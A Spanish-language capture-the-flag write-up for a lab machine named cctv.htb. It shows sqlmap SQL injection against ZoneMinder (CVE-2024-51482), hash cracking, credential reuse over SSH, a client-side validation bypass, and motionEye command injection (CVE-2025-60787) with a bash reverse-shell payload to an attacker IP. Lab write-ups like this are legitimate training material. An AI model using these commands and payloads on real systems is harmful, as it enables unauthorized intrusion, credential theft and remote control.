

Reconocimiento.

IP: 10.129.18.244

Dificultad: Fácil.

SO: Linux.

Escaneo.

Para empezar a establecer la superficie de ataque se escanean todos los puertos.

```
nmap -Pn -n -sS -p- --max-retries 1000 '10.129.18.244'
```

Como resultado del escaneo se obtiene que están abiertos los puertos: 22/tcp con el servicio SSH y 80/tcp con el servicio HTTP. Una vez que se tiene el conocimiento de cuales puertos están abiertos, se procede a establecer las versiones de los servicios.

```
nmap -Pn -n -sS -sV -p '22, 80' '10.129.18.244'
```

El escaneo de las versiones de los servicios indican que el puerto 22/tcp tiene la versión OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) y el puerto 80/tcp tiene la versión Apache httpd 2.4.58 .

Con la información recolectada se sabe que para una conexión exitosa por el puerto 22/tcp es necesario tener credenciales. Por el puerto 80/tcp corre una versión de Apache httpd 2.4.58 la cual esta desactualizada ya que la versión actual es la 2.4.66 .

Enumeración.

Se procede a entrar al sitio web usando el navegador a la URL <http://10.129.14.121/> en la cual recibo un error de redirección de host al dominio cctv.htb , así que agrego el dominio e IP.

```
echo 'cctv.htb 10.129.18.244' | sudo tee -a /etc/hosts
```

Al entrar a la URL <http://cctv.htb/> se obtiene una pagina con el titulo SecureVision CCTV & Security Solutions , revisándola encontré un botón de Staff Login que redirige a la URL <http://cctv.htb/zm/> , y un botón de Get a Quote que envía un correo a info@cctv.htb .

Empezando con el directorio de /zm el cual tiene el titulo ZM - Login . Dentro de la pagina, en la zona de header hay un titulo de ZoneMinder el cual es una aplicación de software

gratuita y de código abierto para la vigilancia mediante circuito cerrado de televisión, desarrollada para funcionar en Linux y FreeBSD y publicada bajo los términos de la Licencia Pública General de GNU (GPL). En la pagina también hay un formulario de autenticación con Username , Password y un botón de Login .

En el formulario de autenticación se prueba con las credenciales por defecto Username: admin y Password: admin , ingresando con éxito al panel de administración. En esta pagina de administración en su zona de header se identifica una posible versión del software la cual es 1.37.63 .

Investigando sobre posibles vulnerabilidades de ZoneMinder 1.37.63 se encuentran las vulnerabilidades.

🚨 CVE-2026-27470

Descripción: En las versiones 1.36.37 y anteriores, así como en las versiones 1.37.61 a 1.38.0, existe una vulnerabilidad de inyección SQL de segundo orden en el archivo web/ajax/status.php, dentro de la función getNearEvents(). Los valores de los campos de los eventos (concretamente «Name» y «Cause») se almacenan de forma segura mediante consultas parametrizadas, pero posteriormente se recuperan y se concatenan directamente en cláusulas SQL WHERE sin escapar. Un usuario autenticado con permisos de edición y visualización de eventos puede aprovechar esto para ejecutar consultas SQL arbitrarias.

Severidad: 8.8 HIGH

Enumeración de debilidades:

- **CWE-89:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Fuente: [NVD - CVE-2026-27470](#)

🚨 CVE-2024-51482

Descripción: La versión ZoneMinder v1.37.* <= 1.37.64 es vulnerable a una inyección SQL basada en valores booleanos en la función web/ajax/event.php. Este problema se ha solucionado en la versión 1.37.65.

Severidad: 9.9 CRITICAL

Enumeración de debilidades:

- **CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')**

Fuente: [NVD - CVE-2024-51482](#)

Para poder ampliar la superficie de ataque se procede a enumerar posibles subdominios

```
gobuster dns \  
--domain cctv.htb \  
--wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
```

El output de `gobuster` no entrego ningún subdominio, así que se procede a enumerar posibles directorios

```
gobuster dir \  
--url http://cctv.htb/ \  
--follow-redirect \  
--wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
```

Como resultado de la enumeración de directorios se obtiene con respuesta `200` al directorio `zm`. Con respuesta `403` se obtiene los directorios `javascript` y `server-status`.

Se vuelve a hacer una enumeración de directorios con el único que dio código de respuesta `200`:

```
gobuster dir \  
--url http://cctv.htb/zm/ \  
--follow-redirect \  
--wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
```

Como resultado de la enumeración se obtiene con respuesta `403` a los directorios: `cgi-bin`, `graphics`, `skins`, `css`, `ajax`, `includes`, `js`, `cache`, `lang`, `vendor`, `fonts` y `views`. Con código de respuesta `401` se obtiene únicamente a `api`. Se investiga mas a fondo el directorio `http://cctv.htb/zm/api/` y se encuentra con un sitio con el titulo `CakePHP: the rapid development php framework: Errors`, su contenido tiene el texto de `An Internal Error Has Ocurred` y su footer contiene lo que parece ser la versión de la tecnología `2.10.24`

`CakePHP` es un marco de trabajo web de código abierto. Sigue el enfoque modelo-vista-controlador (MVC), está escrito en PHP, se inspira en los conceptos de Ruby on Rails y se distribuye bajo la licencia MIT.

Investigando posibles vulnerabilidades de la tecnología CakePHP 2.10.24 se obtiene

🚩 CVE-2015-8379

Descripción: CakePHP 2.x y 3.x (antes de la versión 3.1.5) podrían permitir a atacantes remotos eludir el mecanismo de protección CSRF a través del parámetro `_method`.

Severidad: 8.8 HIGH

Enumeración de debilidades:

- **CWE-352:** Cross-Site Request Forgery (CSRF)

Fuente: [NVD - CVE-2015-8379](#)

Ya se tienen todas las vulnerabilidades publicas, por lo que se procede a organizar en nivel de prioridad

- CVE-2024-51482 (Critical: 9.9)
- CVE-2026-27470 (High: 8.8)
- CVE-2015-8379 (High: 8.8)

Explotación.

Debido a que la tecnología ZoneMinder es una aplicación de código abierto se puede revisar directamente el código, el CVE-2024-51482 afirma que la vulnerabilidad esta en la función `web/ajax/event.php` así que le paso el código a una IA y detecto que la función vulnerable es `removetag`

```
case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery("DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?", array($tagId,
$_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
        $sql = 'DELETE FROM Tags WHERE Id = ?';
        $values = array($_REQUEST['tid']);
        $response = dbNumRows($sql, $values);
        ajaxResponse(array('response'=>$response));
    }
```

La linea critica y que permite explotar la vulnerabilidad es `$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";` debido a que `$tagId` se concatena directamente en la consulta SQL. Intentare armar la petición vía URL intentado hacer ingeniería inversa, empezando desde el final de la petición.

- `tid=1`
- Revisando el código anterior se identifica que el caso `removetag` hace parte de `switch ( $_REQUEST['action'] )` , por lo que `action=removetag&tid=1`
- Como es una petición que llama a un evento queda de la forma `request=event&action=removetag&tid=1` .
- Dado que quiero enviar una petición y no ver una pagina visual completa, agrego a la petición `view=request&request=event&action=removetag&tid=1` .

En conclusión la petición para poder explotar la vulnerabilidad es `http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1` , debido a que el CVE-2024-51482 indica que el error es basada en valores booleanos, se utiliza la herramienta `sqlmap`

```
sqlmap \  
--url='http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \  
--cookie='ZMSESSID=r6dulggvnn4de4u6bn244ehvf' \  
-p tid \  
--dbms=MySQL \  
--level=5 \  
--risk=3 \  
--technique=B
```

Sin embargo no se obtiene ningún tipo de resultados, esto porque al parecer no es posible reconocer la diferencia al enviar los diferentes payloads, así que se intenta con todas las técnicas

```
sqlmap \  
--url='http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \  
--cookie='ZMSESSID=r6dulggvnn4de4u6bn244ehvf' \  
-p tid \  
--dbms=MySQL \  
--level=5 \  
--risk=3 \  
--dump
```

Esta vez si se obtienen resultados con la técnica basada en tiempo, y se obtiene la base de datos `zm` y ademas se sabe que existen 43 tablas de esta base de datos, teniendo estos datos en cuenta, se personaliza el comando

```
sqlmap \  
--url='http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \  
--cookie='ZMSESSID=hrfhh4vhcttpb0i1r4q8qbh3s4' \  
-p tid \  
--dbms=MySQL \  
--level=5 \  
--risk=3 \  
--technique=T \  
--dump \  
-D zm
```

Debido a que son muchas tablas, se prueba directamente si existe una tabla de usuarios

```
sqlmap \  
--url='http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \  
--cookie='ZMSESSID=hrfhh4vhcttpb0i1r4q8qbh3s4' \  
-p tid \  
--dbms=MySQL \  
--level=5 \  
--risk=3 \  
--technique=T \  
--dump \  
-D zm \  
-T Users
```

Esta vez como resultado se sabe que efectivamente existe la tabla `Users` y ademas que existen 20 columnas de las cuales mi prioridad son `Username` y `Password`, así que para obtener la información almacenada en estas columnas uso el comando

```
sqlmap \  
--url='http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \  
--cookie='ZMSESSID=hrfhh4vhcttpb0i1r4q8qbh3s4' \  
-p tid \  
--dbms=MySQL \  
--level=5 \  
--risk=3 \  
--technique=T \  
--dump \  
-D zm \  
-T Users \  
-C Username,Password
```

En el cual se obtiene como resultado, el usuario y la contraseña en formato de hash

```
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhIULwM0jrtbm
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
```

Para poder descifrar las contraseñas en hash, primero se identifica que tipo de hash es

```
hashid '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.'
```

Como resultado se obtiene que el hash es de tipo `bcrypt`, usando herramientas para descifrarlo se usa `hashcat`

```
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

Como resultado se obtiene

```
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhIULwM0jrtbm
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. : opensesame
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m : admin
```

El único hash que no se pudo descifrar fue el del usuario de `superadmin`, como sabemos que tenemos una conexión SSH por el puerto 22, se procede a intentar con las credenciales obtenidas.

```
ssh mark@cctv.htb
```

Con el usuario `mark` y la contraseña `opensesame` se logra una conexión por el puerto 22, y se logra con éxito.

Postexploitación.

Una vez que se esta dentro con la conexión SSH, se procede a listar los privilegios que tiene el usuario `mark`

```
sudo -l
```

Como resultado recibo el mensaje `Sorry, user mark may not run sudo on cctv.` Procedo a listar los servicios que están escuchando las conexiones con este usuario

```
ss -tlnp
```

Como resultado obtengo 11 resultados, en los cuales encuentro conexiones en los puertos: 1935, 7999, 3306, 53, 8888, 8765, 9081, 22, 8554, 33060 y 80 . Buscando información en Internet sobre estos puertos encuentro que el puerto 8765 corresponde al servicio motionEye el cual es una interfaz web de código abierto para el demonio motion, diseñada para centralizar la gestión y la visualización de múltiples cámaras de videovigilancia., debido a que el servicio únicamente esta disponible por el localhost, se procede a hacer un túnel SSH

```
ssh -4 -L 8765:127.0.0.1:8765 mark@cctv.htb
```

Una vez se tenga conexión establecida con el túnel SSH se procede a entrar por el navegador a la URL `http://127.0.0.1:8765` en el cual se obtiene un título de `cctv` , un formulario de autenticación para un login y en el fondo un texto de `motionEye` que confirma lo que investigue cuando encontré el puerto abierto dentro de la maquina, para saber su versión procedo a entrar a la consola de desarrollador, pestaña de debugger, carpeta de `statics/js` y obtengo un archivo que se llama `main.js?v=0.43.1b4` . Ya que tengo la tecnología `motionEye` y su correspondiente versión `0.43.1b4` procedo a investigar posibles vulnerabilidades

CVE-2025-60787

Descripción: MotionEye v0.43.1b4 y versiones anteriores son vulnerables a la inyección de comandos del sistema operativo en parámetros de configuración como `image_file_name`. Los datos introducidos por el usuario sin depurar se escriben en los archivos de configuración de Motion, lo que permite a atacantes remotos autenticados con acceso de administrador ejecutar código cuando se reinicia Motion.

Severidad: 7.2 HIGH

Enumeración de debilidades:

- **CWE-20:** Improper Input Validation.
- **CWE-78:** Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
- **CWE-116:** Improper Encoding or Escaping of Output

Fuente: [NVD - CVE-2025-60787](#)

Debido a que la vulnerabilidad necesita que el usuario este autenticado con acceso de administrador se procede a buscar información dentro de la terminal

```
find / -name "motioneye" 2>/dev/null
```

Como resultado obtengo el directorio `/etc/motioneye` en el cual encuentro el archivo `motion.conf` que al revisarlo encuentro la información `@admin_username admin` y `@admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0`, al revisar los permisos

```
ls -la
```

Se obtiene que el archivo pertenece al grupo `motion`, así que reviso si puedo agregar este grupo a mi usuario

```
newgrp motion
```

El cual me pide una contraseña e intentando las credenciales que ya hemos obtenido todas fallaron, pruebo directamente el hash en el formulario de autenticación en caso de que el programador no halla sanitizado la entrada y se logra con éxito la autenticación.

Una vez dentro como administrador se procede a explotar el `CVE-2025-60787`, a partir de la información se sabe que el parámetro `image_file_name` puede funcionar, dentro de la configuración hay una pestaña que se llama `Still Images` donde esta efectivamente la opción vulnerable y procedo a usar un comando sencillo `; id > /tmp/test.txt;` pero al aplicar recibo el mensaje `Make sure all configuration options are valid!` lo que me da a pensar que existe una validación por parte de JavaScript, para desactivar esta validación solo utilizo dentro de la consola el comando `configUiValid = function() { return true; };`, se vuelve a intentar y ahora se acepta el comando sin embargo no se ve reflejado en el directorio `/tmp` se que el programa puede hacer snapshots así que procedo a hacer una con el comando `curl 'http://127.0.0.1:7999/1/action/snapshot'` y efectivamente este funciona para generar el archivo en la ruta `/tmp/test.txt` confirmando la vulnerabilidad.

Teniendo en cuenta como funciona la vulnerabilidad, se procede a ejecutar un reverse shell, así que se pone a escuchar con netcat

```
nc -lvnp 4444
```

Y se utiliza el payload `$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.15.66/4444 0>&1\"'))` en el parámetro `image_file_name`.

Una vez se realiza con éxito el reverse shell se procede a buscar las banderas.

```
find / -name "user.txt" 2>/dev/null
```

Y se obtiene la ruta `/home/sa_mark/user.txt` , para ver su contenido

```
cat /home/sa_mark/user.txt
```

La bandera del usuario es `8c57d99b09630096dcf48ea27751ab0b` . Buscando la bandera del root

```
find / -name "root.txt" 2>/dev/null
```

Obteniendo la ruta `/root/root.txt` y para ver su contenido

```
cat /root/root.txt
```

La bandera del root es `4d30339e9c883fb1a6417592f8ad49b3` .

Conclusiones.

Se obtiene con éxito las banderas haciendo uso de las vulnerabilidades `CVE-2024-51482` para obtener una terminal con el usuario `mark` y para buscar información acerca de posibles conexiones para poder escalar privilegios, se encuentra el servicio `motionEye` que corre en el puerto `8765` , se buscan posibles credenciales para este servicio y se encuentra en el archivo `/etc/motioneye/motion.conf` el usuario y el hash de la contraseña, se usan exactamente estos datos para la autenticación, para hacer escalada de privilegios se usa la vulnerabilidad `CVE-2025-60787` para lograr una reverse shell como root y poder lograr el objetivo de la máquina las cuales son obtener las banderas, tanto del usuario como del root.